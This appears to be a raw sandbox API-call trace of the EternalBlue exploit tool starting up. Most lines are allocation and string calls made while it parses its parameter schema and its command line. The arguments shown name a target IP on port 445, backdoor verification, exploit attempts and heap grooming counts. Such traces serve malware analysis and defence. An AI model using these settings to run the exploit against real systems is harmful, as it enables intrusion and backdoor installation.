[0267.147] strlen (_Str="2.1.0") returned 0x5
[0267.147] calloc (_Count=0x6, _Size=0x1) returned 0x10c2ad8
[0267.147] _mbscpy (in: param_1=0x10c2ad8, param_2=0x10c1448 | out: param_1=0x10c2ad8) returned 0x10c2ad8
[0267.147] realloc (_Block=0x1bffb8, _Size=0x28) returned 0x1bffb8
[0267.147] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.147] malloc (_Size=0x7) returned 0x10c2ae8
[0267.147] strlen (_Str="Target") returned 0x6
[0267.147] calloc (_Count=0x7, _Size=0x1) returned 0x10c2aa8
[0267.147] _mbscpy (in: param_1=0x10c2aa8, param_2=0x10c2ae8 | out: param_1=0x10c2aa8) returned 0x10c2aa8
[0267.147] strlen (_Str="Operating System, Service Pack, and Architecture of target OS") returned 0x3d
[0267.147] calloc (_Count=0x3e, _Size=0x1) returned 0x10c2470
[0267.147] _mbscpy (in: param_1=0x10c2470, param_2=0x10c2428 | out: param_1=0x10c2470) returned 0x10c2470
[0267.147] strlen (_Str="urn:trch") returned 0x8
[0267.147] calloc (_Count=0x9, _Size=0x1) returned 0x10c2948
[0267.147] _mbscpy (in: param_1=0x10c2948, param_2=0x1bd6c0 | out: param_1=0x10c2948) returned 0x10c2948
[0267.147] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.147] strlen (_Str="2.1.0") returned 0x5
[0267.147] calloc (_Count=0x6, _Size=0x1) returned 0x10c2af8
[0267.148] _mbscpy (in: param_1=0x10c2af8, param_2=0x10c1448 | out: param_1=0x10c2af8) returned 0x10c2af8
[0267.148] malloc (_Size=0x4) returned 0x10c2b08
[0267.148] free (_Block=0x10c2ae8)
[0267.148] free (_Block=0x10c2428)
[0267.148] free (_Block=0x0)
[0267.148] malloc (_Size=0x3) returned 0x10c2ae8
[0267.148] strlen (_Str="XP") returned 0x2
[0267.148] calloc (_Count=0x3, _Size=0x1) returned 0x10c2b18
[0267.148] _mbscpy (in: param_1=0x10c2b18, param_2=0x10c2ae8 | out: param_1=0x10c2b18) returned 0x10c2b18
[0267.148] strlen (_Str="Windows XP 32-Bit All Service Packs") returned 0x23
[0267.148] calloc (_Count=0x24, _Size=0x1) returned 0x1bfd08
[0267.148] _mbscpy (in: param_1=0x1bfd08, param_2=0x1bfeb8 | out: param_1=0x1bfd08) returned 0x1bfd08
[0267.148] strlen (_Str="urn:trch") returned 0x8
[0267.148] calloc (_Count=0x9, _Size=0x1) returned 0x10b0890
[0267.148] _mbscpy (in: param_1=0x10b0890, param_2=0x1bd6c0 | out: param_1=0x10b0890) returned 0x10b0890
[0267.148] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.148] strlen (_Str="2.1.0") returned 0x5
[0267.148] calloc (_Count=0x6, _Size=0x1) returned 0x10c2b28
[0267.148] _mbscpy (in: param_1=0x10c2b28, param_2=0x10c1448 | out: param_1=0x10c2b28) returned 0x10c2b28
[0267.148] malloc (_Size=0x4) returned 0x10c2b38
[0267.148] malloc (_Size=0x4) returned 0x10c2b48
[0267.148] free (_Block=0x10c2ae8)
[0267.148] free (_Block=0x1bfeb8)
[0267.148] realloc (_Block=0x10c2b08, _Size=0x8) returned 0x10c2ae8
[0267.149] malloc (_Size=0xa) returned 0x10b08a8
[0267.149] strlen (_Str="WIN72K8R2") returned 0x9
[0267.149] calloc (_Count=0xa, _Size=0x1) returned 0x10b08c0
[0267.149] _mbscpy (in: param_1=0x10b08c0, param_2=0x10b08a8 | out: param_1=0x10b08c0) returned 0x10b08c0
[0267.149] strlen (_Str="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs") returned 0x39
[0267.149] calloc (_Count=0x3a, _Size=0x1) returned 0x10c24b8
[0267.149] _mbscpy (in: param_1=0x10c24b8, param_2=0x10c2428 | out: param_1=0x10c24b8) returned 0x10c24b8
[0267.149] strlen (_Str="urn:trch") returned 0x8
[0267.149] calloc (_Count=0x9, _Size=0x1) returned 0x10b08d8
[0267.149] _mbscpy (in: param_1=0x10b08d8, param_2=0x1bd6c0 | out: param_1=0x10b08d8) returned 0x10b08d8
[0267.149] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.149] strlen (_Str="2.1.0") returned 0x5
[0267.149] calloc (_Count=0x6, _Size=0x1) returned 0x10c2b08
[0267.149] _mbscpy (in: param_1=0x10c2b08, param_2=0x10c1448 | out: param_1=0x10c2b08) returned 0x10c2b08
[0267.149] malloc (_Size=0x4) returned 0x10c2b58
[0267.149] malloc (_Size=0x4) returned 0x10c2b68
[0267.149] free (_Block=0x10b08a8)
[0267.149] free (_Block=0x10c2428)
[0267.149] realloc (_Block=0x10c2ae8, _Size=0xc) returned 0x10b08a8
[0267.149] malloc (_Size=0x14) returned 0x10b6cc0
[0267.149] GetCurrentThreadId () returned 0xf94
[0267.149] malloc (_Size=0x42) returned 0x10b1098
[0267.149] free (_Block=0x10b6cc0)
[0267.150] strlen (_Str="WIN72K8R2") returned 0x9
[0267.150] calloc (_Count=0xa, _Size=0x1) returned 0x10b08f0
[0267.150] _mbscpy (in: param_1=0x10b08f0, param_2=0x10b1098 | out: param_1=0x10b08f0) returned 0x10b08f0
[0267.150] realloc (_Block=0x10c1488, _Size=0x8) returned 0x10c2ae8
[0267.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.150] calloc (_Count=0x1, _Size=0x1c) returned 0x10b1098
[0267.150] strlen (_Str="outputparameters") returned 0x10
[0267.150] calloc (_Count=0x11, _Size=0x1) returned 0x10b6cc0
[0267.150] _mbscpy (in: param_1=0x10b6cc0, param_2=0x10b6d00 | out: param_1=0x10b6cc0) returned 0x10b6cc0
[0267.150] strlen (_Str="urn:trch") returned 0x8
[0267.150] calloc (_Count=0x9, _Size=0x1) returned 0x10b0908
[0267.150] _mbscpy (in: param_1=0x10b0908, param_2=0x1bd6c0 | out: param_1=0x10b0908) returned 0x10b0908
[0267.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.150] strlen (_Str="2.1.0") returned 0x5
[0267.150] calloc (_Count=0x6, _Size=0x1) returned 0x10c1488
[0267.150] _mbscpy (in: param_1=0x10c1488, param_2=0x10c1448 | out: param_1=0x10c1488) returned 0x10c1488
[0267.150] calloc (_Count=0x1, _Size=0x4) returned 0x10c14e8
[0267.150] calloc (_Count=0x1, _Size=0x4) returned 0x10c2b78
[0267.150] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.150] malloc (_Size=0x14) returned 0x10b6dc0
[0267.151] strlen (_Str="DoublePulsarPresent") returned 0x13
[0267.151] calloc (_Count=0x14, _Size=0x1) returned 0x10b6de0
[0267.151] _mbscpy (in: param_1=0x10b6de0, param_2=0x10b6dc0 | out: param_1=0x10b6de0) returned 0x10b6de0
[0267.151] strlen (_Str="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown") returned 0x68
[0267.151] calloc (_Count=0x69, _Size=0x1) returned 0x10b1188
[0267.151] _mbscpy (in: param_1=0x10b1188, param_2=0x10b10c0 | out: param_1=0x10b1188) returned 0x10b1188
[0267.151] strlen (_Str="Boolean") returned 0x7
[0267.151] calloc (_Count=0x8, _Size=0x1) returned 0x10c2b98
[0267.151] _mbscpy (in: param_1=0x10c2b98, param_2=0x10c2b88 | out: param_1=0x10c2b98) returned 0x10c2b98
[0267.151] strlen (_Str="Scalar") returned 0x6
[0267.151] calloc (_Count=0x7, _Size=0x1) returned 0x10c2ba8
[0267.151] _mbscpy (in: param_1=0x10c2ba8, param_2=0x7562c3f8 | out: param_1=0x10c2ba8) returned 0x10c2ba8
[0267.151] strlen (_Str="urn:trch") returned 0x8
[0267.151] calloc (_Count=0x9, _Size=0x1) returned 0x10b0920
[0267.151] _mbscpy (in: param_1=0x10b0920, param_2=0x1bd6c0 | out: param_1=0x10b0920) returned 0x10b0920
[0267.151] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.151] strlen (_Str="2.1.0") returned 0x5
[0267.151] calloc (_Count=0x6, _Size=0x1) returned 0x10c2bb8
[0267.151] _mbscpy (in: param_1=0x10c2bb8, param_2=0x10c1448 | out: param_1=0x10c2bb8) returned 0x10c2bb8
[0267.151] realloc (_Block=0x10c14e8, _Size=0x8) returned 0x10c2b88
[0267.152] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.152] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.152] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.152] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.152] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.152] free (_Block=0x10c1448)
[0267.152] free (_Block=0x10b3328)
[0267.152] free (_Block=0x10b32e0)
[0267.152] free (_Block=0x10b33e8)
[0267.152] free (_Block=0x10b33a0)
[0267.152] free (_Block=0x10b3500)
[0267.152] free (_Block=0x10b3a90)
[0267.152] free (_Block=0x10b3520)
[0267.152] free (_Block=0x10b3b38)
[0267.152] free (_Block=0x10b3510)
[0267.152] free (_Block=0x10b3ad8)
[0267.152] free (_Block=0x10b3530)
[0267.152] free (_Block=0x10b3b80)
[0267.152] free (_Block=0x10b34c0)
[0267.152] free (_Block=0x10b3898)
[0267.152] free (_Block=0x10b34b0)
[0267.152] free (_Block=0x10b3460)
[0267.152] free (_Block=0x10b34e0)
[0267.152] free (_Block=0x10b3918)
[0267.152] free (_Block=0x10b34d0)
[0267.152] free (_Block=0x10b38e0)
[0267.152] free (_Block=0x1bd750)
[0267.152] free (_Block=0x10b3998)
[0267.153] free (_Block=0x10b34f0)
[0267.153] free (_Block=0x10b3960)
[0267.153] free (_Block=0x10b3a60)
[0267.153] free (_Block=0x10b3a18)
[0267.153] free (_Block=0x1bd768)
[0267.153] free (_Block=0x10b39e0)
[0267.153] free (_Block=0x1bd738)
[0267.153] free (_Block=0x10b3418)
[0267.153] free (_Block=0x10b3540)
[0267.153] free (_Block=0x10b3bc8)
[0267.153] free (_Block=0x10b3580)
[0267.153] free (_Block=0x10b3d30)
[0267.153] free (_Block=0x10b35a0)
[0267.153] free (_Block=0x10b3dc0)
[0267.153] free (_Block=0x10b3590)
[0267.153] free (_Block=0x10b3d78)
[0267.153] free (_Block=0x10b35b0)
[0267.153] free (_Block=0x10b3e08)
[0267.153] free (_Block=0x10b3560)
[0267.153] free (_Block=0x10b3c58)
[0267.153] free (_Block=0x10b3550)
[0267.153] free (_Block=0x10b4b20)
[0267.153] free (_Block=0x1bd798)
[0267.153] free (_Block=0x10b3ca0)
[0267.153] free (_Block=0x10b3570)
[0267.153] free (_Block=0x10b4b58)
[0267.153] free (_Block=0x10b4bc8)
[0267.153] free (_Block=0x10b3ce8)
[0267.153] free (_Block=0x1bd7b0)
[0267.154] free (_Block=0x10b4b90)
[0267.154] free (_Block=0x1bd780)
[0267.154] free (_Block=0x10b3c10)
[0267.154] free (_Block=0x10b35c0)
[0267.154] free (_Block=0x10b3e50)
[0267.154] free (_Block=0x10b4c50)
[0267.154] free (_Block=0x10b3ee0)
[0267.154] free (_Block=0x10b35d0)
[0267.154] free (_Block=0x10b4c18)
[0267.154] free (_Block=0x10b35f0)
[0267.154] free (_Block=0x10b3f28)
[0267.154] free (_Block=0x10b35e0)
[0267.154] free (_Block=0x10b4c70)
[0267.154] free (_Block=0x1bd7e0)
[0267.154] free (_Block=0x10b3f70)
[0267.154] free (_Block=0x10b3600)
[0267.154] free (_Block=0x10b4ca8)
[0267.154] free (_Block=0x10b54e0)
[0267.154] free (_Block=0x10b3fb8)
[0267.154] free (_Block=0x1bd7f8)
[0267.154] free (_Block=0x10b4cf8)
[0267.154] free (_Block=0x1bd7c8)
[0267.154] free (_Block=0x10b3e98)
[0267.154] free (_Block=0x10b3610)
[0267.154] free (_Block=0x10b4000)
[0267.154] free (_Block=0x10b3660)
[0267.154] free (_Block=0x10b41b0)
[0267.154] free (_Block=0x10b3680)
[0267.155] free (_Block=0x10b4240)
[0267.155] free (_Block=0x10b3670)
[0267.155] free (_Block=0x10b41f8)
[0267.155] free (_Block=0x10b3690)
[0267.155] free (_Block=0x10b4288)
[0267.155] free (_Block=0x1bd828)
[0267.155] free (_Block=0x10b4090)
[0267.155] free (_Block=0x10b3620)
[0267.155] free (_Block=0x10b4d30)
[0267.155] free (_Block=0x10b3640)
[0267.155] free (_Block=0x10b40d8)
[0267.155] free (_Block=0x10b3630)
[0267.155] free (_Block=0x10b4d68)
[0267.155] free (_Block=0x1bd840)
[0267.155] free (_Block=0x10b4120)
[0267.155] free (_Block=0x10b3650)
[0267.155] free (_Block=0x10b4da0)
[0267.155] free (_Block=0x10b5500)
[0267.155] free (_Block=0x10b4168)
[0267.155] free (_Block=0x1bd858)
[0267.155] free (_Block=0x10b4dd8)
[0267.155] free (_Block=0x1bd810)
[0267.155] free (_Block=0x10b4048)
[0267.155] free (_Block=0x10b36a0)
[0267.155] free (_Block=0x10b42d0)
[0267.155] free (_Block=0x10b36f0)
[0267.155] free (_Block=0x10b4480)
[0267.155] free (_Block=0x10b3710)
[0267.155] free (_Block=0x10b4510)
[0267.156] free (_Block=0x10b3700)
[0267.156] free (_Block=0x10b44c8)
[0267.156] free (_Block=0x10b3720)
[0267.156] free (_Block=0x10b4558)
[0267.156] free (_Block=0x10b5540)
[0267.156] free (_Block=0x10b4360)
[0267.156] free (_Block=0x10b36b0)
[0267.156] free (_Block=0x10b4e10)
[0267.156] free (_Block=0x10b36d0)
[0267.156] free (_Block=0x10b43a8)
[0267.156] free (_Block=0x10b36c0)
[0267.156] free (_Block=0x10b4e48)
[0267.156] free (_Block=0x1bd888)
[0267.156] free (_Block=0x10b43f0)
[0267.156] free (_Block=0x10b36e0)
[0267.156] free (_Block=0x10b4e80)
[0267.156] free (_Block=0x10b5568)
[0267.156] free (_Block=0x10b4438)
[0267.156] free (_Block=0x1bd8a0)
[0267.156] free (_Block=0x10b4eb8)
[0267.156] free (_Block=0x1bd870)
[0267.156] free (_Block=0x10b4318)
[0267.156] free (_Block=0x10b3730)
[0267.156] free (_Block=0x10b45a0)
[0267.156] free (_Block=0x10b3780)
[0267.156] free (_Block=0x10b4750)
[0267.156] free (_Block=0x10b37a0)
[0267.156] free (_Block=0x10b47e0)
[0267.157] free (_Block=0x10b3790)
[0267.157] free (_Block=0x10b4798)
[0267.157] free (_Block=0x10b37b0)
[0267.157] free (_Block=0x10b4828)
[0267.157] free (_Block=0x10b55c8)
[0267.157] free (_Block=0x10b4630)
[0267.157] free (_Block=0x10b3740)
[0267.157] free (_Block=0x10b4ef0)
[0267.157] free (_Block=0x10b3760)
[0267.157] free (_Block=0x10b4678)
[0267.157] free (_Block=0x10b3750)
[0267.157] free (_Block=0x10b4f28)
[0267.157] free (_Block=0x1bd8d0)
[0267.157] free (_Block=0x10b46c0)
[0267.157] free (_Block=0x10b3770)
[0267.157] free (_Block=0x10b4f60)
[0267.157] free (_Block=0x10b55f0)
[0267.157] free (_Block=0x10b4708)
[0267.157] free (_Block=0x1bd8e8)
[0267.157] free (_Block=0x10b4f98)
[0267.157] free (_Block=0x1bd8b8)
[0267.157] free (_Block=0x10b45e8)
[0267.157] free (_Block=0x10b37c0)
[0267.157] free (_Block=0x10b4870)
[0267.157] free (_Block=0x10b3810)
[0267.157] free (_Block=0x10b4a20)
[0267.157] free (_Block=0x10b3830)
[0267.157] free (_Block=0x10b4ab0)
[0267.158] free (_Block=0x10b3820)
[0267.158] free (_Block=0x10b4a68)
[0267.158] free (_Block=0x10b3840)
[0267.158] free (_Block=0x10b5730)
[0267.158] free (_Block=0x10b5678)
[0267.158] free (_Block=0x10b4900)
[0267.158] free (_Block=0x10b37d0)
[0267.158] free (_Block=0x10b4fd0)
[0267.158] free (_Block=0x10b37f0)
[0267.158] free (_Block=0x10b4948)
[0267.158] free (_Block=0x10b37e0)
[0267.158] free (_Block=0x10b5008)
[0267.158] free (_Block=0x10b56a8)
[0267.158] free (_Block=0x10b4990)
[0267.158] free (_Block=0x10b3800)
[0267.158] free (_Block=0x10b5040)
[0267.158] free (_Block=0x10b56c8)
[0267.158] free (_Block=0x10b49d8)
[0267.158] free (_Block=0x1bd918)
[0267.158] free (_Block=0x10b5078)
[0267.158] free (_Block=0x1bd900)
[0267.158] free (_Block=0x10b48b8)
[0267.158] free (_Block=0x10b3850)
[0267.158] free (_Block=0x10b5778)
[0267.158] free (_Block=0x10b6770)
[0267.158] free (_Block=0x10b5928)
[0267.159] free (_Block=0x10b6790)
[0267.159] free (_Block=0x10b59b8)
[0267.159] free (_Block=0x10b6780)
[0267.159] free (_Block=0x10b5970)
[0267.159] free (_Block=0x10b67a0)
[0267.159] free (_Block=0x10b5a00)
[0267.159] free (_Block=0x10b6718)
[0267.159] free (_Block=0x10b5808)
[0267.159] free (_Block=0x10b3860)
[0267.159] free (_Block=0x10b50b0)
[0267.159] free (_Block=0x10b3880)
[0267.159] free (_Block=0x10b5850)
[0267.159] free (_Block=0x10b3870)
[0267.159] free (_Block=0x10b50e8)
[0267.159] free (_Block=0x10b6b48)
[0267.159] free (_Block=0x10b5898)
[0267.159] free (_Block=0x10b6760)
[0267.159] free (_Block=0x10b5120)
[0267.159] free (_Block=0x10b6b68)
[0267.159] free (_Block=0x10b58e0)
[0267.159] free (_Block=0x1bd948)
[0267.159] free (_Block=0x10b5158)
[0267.159] free (_Block=0x1bd930)
[0267.159] free (_Block=0x10b57c0)
[0267.159] free (_Block=0x10b67b0)
[0267.159] free (_Block=0x10b5a48)
[0267.159] free (_Block=0x1bd978)
[0267.159] free (_Block=0x10b5ad8)
[0267.160] free (_Block=0x10b67c0)
[0267.160] free (_Block=0x10b5190)
[0267.160] free (_Block=0x10b67d0)
[0267.160] free (_Block=0x10b5b20)
[0267.160] free (_Block=0x1bd990)
[0267.160] free (_Block=0x10b51c8)
[0267.160] free (_Block=0x10b6c38)
[0267.160] free (_Block=0x10b5b68)
[0267.160] free (_Block=0x10b67e0)
[0267.160] free (_Block=0x10b5200)
[0267.160] free (_Block=0x10b6800)
[0267.160] free (_Block=0x10b5bb0)
[0267.160] free (_Block=0x10b67f0)
[0267.160] free (_Block=0x10b5238)
[0267.160] free (_Block=0x10b6820)
[0267.160] free (_Block=0x10b5bf8)
[0267.160] free (_Block=0x10b6810)
[0267.160] free (_Block=0x10b5270)
[0267.160] free (_Block=0x10b6c58)
[0267.160] free (_Block=0x10b5c40)
[0267.160] free (_Block=0x1bd9a8)
[0267.160] free (_Block=0x10b52a8)
[0267.160] free (_Block=0x1bd960)
[0267.160] free (_Block=0x10b5a90)
[0267.160] free (_Block=0x10b6830)
[0267.160] free (_Block=0x10b5c88)
[0267.160] free (_Block=0x10b6870)
[0267.160] free (_Block=0x10b5e38)
[0267.160] free (_Block=0x1bda08)
[0267.161] free (_Block=0x10b5ec8)
[0267.161] strlen (_Str="LogFile") returned 0x7
[0267.161] calloc (_Count=0x8, _Size=0x1) returned 0x10c1418
[0267.161] _mbscpy (in: param_1=0x10c1418, param_2=0x75603244 | out: param_1=0x10c1418) returned 0x10c1418
[0267.161] strlen (_Str="Where to write log file") returned 0x17
[0267.161] calloc (_Count=0x18, _Size=0x1) returned 0x10b6d60
[0267.161] _mbscpy (in: param_1=0x10b6d60, param_2=0x756032a8 | out: param_1=0x10b6d60) returned 0x10b6d60
[0267.161] strlen (_Str="String") returned 0x6
[0267.161] calloc (_Count=0x7, _Size=0x1) returned 0x10c1408
[0267.161] _mbscpy (in: param_1=0x10c1408, param_2=0x7562c418 | out: param_1=0x10c1408) returned 0x10c1408
[0267.161] strlen (_Str="Scalar") returned 0x6
[0267.161] calloc (_Count=0x7, _Size=0x1) returned 0x10c13f8
[0267.161] _mbscpy (in: param_1=0x10c13f8, param_2=0x7562c3f8 | out: param_1=0x10c13f8) returned 0x10c13f8
[0267.161] strlen (_Str="urn:trch") returned 0x8
[0267.161] calloc (_Count=0x9, _Size=0x1) returned 0x1bd6c0
[0267.161] _mbscpy (in: param_1=0x1bd6c0, param_2=0x10c2708 | out: param_1=0x1bd6c0) returned 0x1bd6c0
[0267.161] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.161] strlen (_Str="2.1.0") returned 0x5
[0267.161] calloc (_Count=0x6, _Size=0x1) returned 0x10c13e8
[0267.161] _mbscpy (in: param_1=0x10c13e8, param_2=0x10c1478 | out: param_1=0x10c13e8) returned 0x10c13e8
[0267.162] realloc (_Block=0x1bffb8, _Size=0x2c) returned 0x10b10c0
[0267.162] calloc (_Count=0x1, _Size=0x48) returned 0x1bfee0
[0267.162] strlen (_Str="OutConfig") returned 0x9
[0267.162] calloc (_Count=0xa, _Size=0x1) returned 0x1bd6f0
[0267.162] _mbscpy (in: param_1=0x1bd6f0, param_2=0x75603238 | out: param_1=0x1bd6f0) returned 0x1bd6f0
[0267.162] strlen (_Str="Where to write output parameters file") returned 0x25
[0267.162] calloc (_Count=0x26, _Size=0x1) returned 0x1bff30
[0267.162] _mbscpy (in: param_1=0x1bff30, param_2=0x75603280 | out: param_1=0x1bff30) returned 0x1bff30
[0267.162] strlen (_Str="String") returned 0x6
[0267.162] calloc (_Count=0x7, _Size=0x1) returned 0x10c1368
[0267.162] _mbscpy (in: param_1=0x10c1368, param_2=0x7562c418 | out: param_1=0x10c1368) returned 0x10c1368
[0267.162] strlen (_Str="Scalar") returned 0x6
[0267.162] calloc (_Count=0x7, _Size=0x1) returned 0x10c1398
[0267.162] _mbscpy (in: param_1=0x10c1398, param_2=0x7562c3f8 | out: param_1=0x10c1398) returned 0x10c1398
[0267.162] strlen (_Str="urn:trch") returned 0x8
[0267.162] calloc (_Count=0x9, _Size=0x1) returned 0x1bd6d8
[0267.162] _mbscpy (in: param_1=0x1bd6d8, param_2=0x10c2708 | out: param_1=0x1bd6d8) returned 0x1bd6d8
[0267.162] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.162] strlen (_Str="2.1.0") returned 0x5
[0267.162] calloc (_Count=0x6, _Size=0x1) returned 0x10c13a8
[0267.162] _mbscpy (in: param_1=0x10c13a8, param_2=0x10c1478 | out: param_1=0x10c13a8) returned 0x10c13a8
[0267.163] strlen (_Str="stdout") returned 0x6
[0267.163] calloc (_Count=0x7, _Size=0x1) returned 0x10c1388
[0267.163] _mbscpy (in: param_1=0x10c1388, param_2=0x756130d8 | out: param_1=0x10c1388) returned 0x10c1388
[0267.163] strlen (_Str="stdout") returned 0x6
[0267.163] calloc (_Count=0x7, _Size=0x1) returned 0x10c1378
[0267.163] _mbscpy (in: param_1=0x10c1378, param_2=0x756130d8 | out: param_1=0x10c1378) returned 0x10c1378
[0267.163] strlen (_Str="stdout") returned 0x6
[0267.163] free (_Block=0x0)
[0267.163] realloc (_Block=0x10b10c0, _Size=0x30) returned 0x10b10c0
[0267.163] strlen (_Str="ValidateOnly") returned 0xc
[0267.163] calloc (_Count=0xd, _Size=0x1) returned 0x1bd9c0
[0267.163] _mbscpy (in: param_1=0x1bd9c0, param_2=0x75603228 | out: param_1=0x1bd9c0) returned 0x1bd9c0
[0267.163] strlen (_Str="Stop execution after parameter validation") returned 0x29
[0267.163] calloc (_Count=0x2a, _Size=0x1) returned 0x10b0060
[0267.163] _mbscpy (in: param_1=0x10b0060, param_2=0x7560324c | out: param_1=0x10b0060) returned 0x10b0060
[0267.163] strlen (_Str="Boolean") returned 0x7
[0267.163] calloc (_Count=0x8, _Size=0x1) returned 0x10c13d8
[0267.163] _mbscpy (in: param_1=0x10c13d8, param_2=0x7562c148 | out: param_1=0x10c13d8) returned 0x10c13d8
[0267.163] strlen (_Str="Scalar") returned 0x6
[0267.163] calloc (_Count=0x7, _Size=0x1) returned 0x10c13b8
[0267.163] _mbscpy (in: param_1=0x10c13b8, param_2=0x7562c3f8 | out: param_1=0x10c13b8) returned 0x10c13b8
[0267.164] strlen (_Str="urn:trch") returned 0x8
[0267.164] calloc (_Count=0x9, _Size=0x1) returned 0x1bd9f0
[0267.164] _mbscpy (in: param_1=0x1bd9f0, param_2=0x10c2708 | out: param_1=0x1bd9f0) returned 0x1bd9f0
[0267.164] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.164] strlen (_Str="2.1.0") returned 0x5
[0267.164] calloc (_Count=0x6, _Size=0x1) returned 0x10c13c8
[0267.164] _mbscpy (in: param_1=0x10c13c8, param_2=0x10c1478 | out: param_1=0x10c13c8) returned 0x10c13c8
[0267.164] strlen (_Str="false") returned 0x5
[0267.164] calloc (_Count=0x6, _Size=0x1) returned 0x10c12e8
[0267.164] _mbscpy (in: param_1=0x10c12e8, param_2=0x75603278 | out: param_1=0x10c12e8) returned 0x10c12e8
[0267.164] strcmp (_Str1="false", _Str2="0") returned 1
[0267.164] realloc (_Block=0x10b10c0, _Size=0x34) returned 0x10b10c0
[0267.164] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0267.164] strlen (_Str="--TargetIp") returned 0xa
[0267.164] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.164] strlen (_Str="--TargetIp") returned 0xa
[0267.165] strcmp (_Str1="192.168.0.155", _Str2="--") returned 1
[0267.165] strlen (_Str="192.168.0.155") returned 0xd
[0267.165] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0267.165] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0267.165] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0267.165] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.165] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0267.165] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0267.165] strlen (_Str="--NetworkTimeout") returned 0x10
[0267.165] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.165] strlen (_Str="--NetworkTimeout") returned 0x10
[0267.165] strcmp (_Str1="60", _Str2="--") returned 1
[0267.165] strlen (_Str="60") returned 0x2
[0267.165] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0267.165] strlen (_Str="--TargetPort") returned 0xc
[0267.165] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.165] strlen (_Str="--TargetPort") returned 0xc
[0267.165] strcmp (_Str1="445", _Str2="--") returned 1
[0267.165] strlen (_Str="445") returned 0x3
[0267.166] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0267.166] strlen (_Str="--VerifyTarget") returned 0xe
[0267.166] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.166] strlen (_Str="--VerifyTarget") returned 0xe
[0267.166] strcmp (_Str1="True", _Str2="--") returned 1
[0267.166] strlen (_Str="True") returned 0x4
[0267.166] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0267.166] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0267.166] strlen (_Str="--VerifyBackdoor") returned 0x10
[0267.166] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.166] strlen (_Str="--VerifyBackdoor") returned 0x10
[0267.166] strcmp (_Str1="True", _Str2="--") returned 1
[0267.166] strlen (_Str="True") returned 0x4
[0267.166] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0267.166] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0267.166] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0267.166] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.166] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0267.166] strcmp (_Str1="3", _Str2="--") returned 1
[0267.167] strlen (_Str="3") returned 0x1
[0267.167] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0267.167] strlen (_Str="--GroomAllocations") returned 0x12
[0267.167] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.167] strlen (_Str="--GroomAllocations") returned 0x12
[0267.167] strcmp (_Str1="12", _Str2="--") returned 1
[0267.167] strlen (_Str="12") returned 0x2
[0267.167] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0267.167] strlen (_Str="--OutConfig") returned 0xb
[0267.167] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.167] strlen (_Str="--OutConfig") returned 0xb
[0267.167] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0267.167] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0267.167] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0267.167] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0267.167] strlen (_Str="--TargetIp") returned 0xa
[0267.167] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.167] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1
[0267.167] strlen (_Str="--TargetIp") returned 0xa
[0267.168] strlen (_Str="192.168.0.155") returned 0xd
[0267.168] calloc (_Count=0xe, _Size=0x1) returned 0x1bda50
[0267.168] _mbscpy (in: param_1=0x1bda50, param_2=0x1b28a9 | out: param_1=0x1bda50) returned 0x1bda50
[0267.168] strlen (_Str="192.168.0.155") returned 0xd
[0267.168] free (_Block=0x0)
[0267.168] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0267.168] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0267.168] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.168] strcmp (_Str1="--DaveProxyPort=0", _Str2="-?") returned -1
